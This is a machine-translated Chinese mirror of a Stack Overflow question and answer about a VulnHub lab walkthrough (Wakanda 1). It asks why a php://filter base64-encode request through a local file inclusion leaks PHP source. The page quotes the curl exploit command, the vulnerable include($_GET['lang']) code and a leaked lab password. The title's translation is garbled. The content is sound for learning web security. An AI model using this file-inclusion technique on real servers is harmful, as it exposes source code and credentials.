首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >使用php base64编码器/解码器进行冰壶运动,而不仅仅是冰壶运动。为什么?

使用php base64编码器/解码器进行冰壶运动,而不仅仅是冰壶运动。为什么?
EN

Stack Overflow用户
提问于 2019-10-03 03:18:06
回答 1查看 445关注 0票数 1

在这里阅读wakanda的vulnhub演练

https://medium.com/egghunter/wakanda-1-vulnhub-walkthrough-3d524ed8a372

它使用了一个我以前从未见过的php过滤器(base64编码器),然后解码。使用这行代码

代码语言:javascript
复制
curl http://192.168.56.102/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d

相比之下,我尝试通过以下方式简单地卷曲页面

代码语言:javascript
复制
curl http://192.168.56.102/?lang=php

两者都输出html,但过滤后的代码还会在封装在php标记内的DOCTYPE标头上方生成几行代码。我的问题是为什么会发生这种情况?

重要的输出(前几行)如下所示

代码语言:javascript
复制
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>

显然,这是错误的,但似乎过滤后的代码是:编码,然后解码,然后以某种方式在这个过程中获得比我们只是卷曲所有东西更多的信息

EN

回答 1

Stack Overflow用户

发布于 2019-10-03 21:00:35

我偶然发现了这篇文章

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

这很好地解释了这一点。

语句中使用文件之前,强制PHP对文件进行base64编码。从这一点上讲,接下来就是解码base64字符串以获得base64文件的源代码。

所以为什么过滤后的代码会得到所有的html和php,是因为它使得php在抓取html之前被编码,并将其包装成一个输出字符串,然后可以被解码和读取。这意味着您可以从其他支持文件中获得页面html和php代码作为输出。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/58208037

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档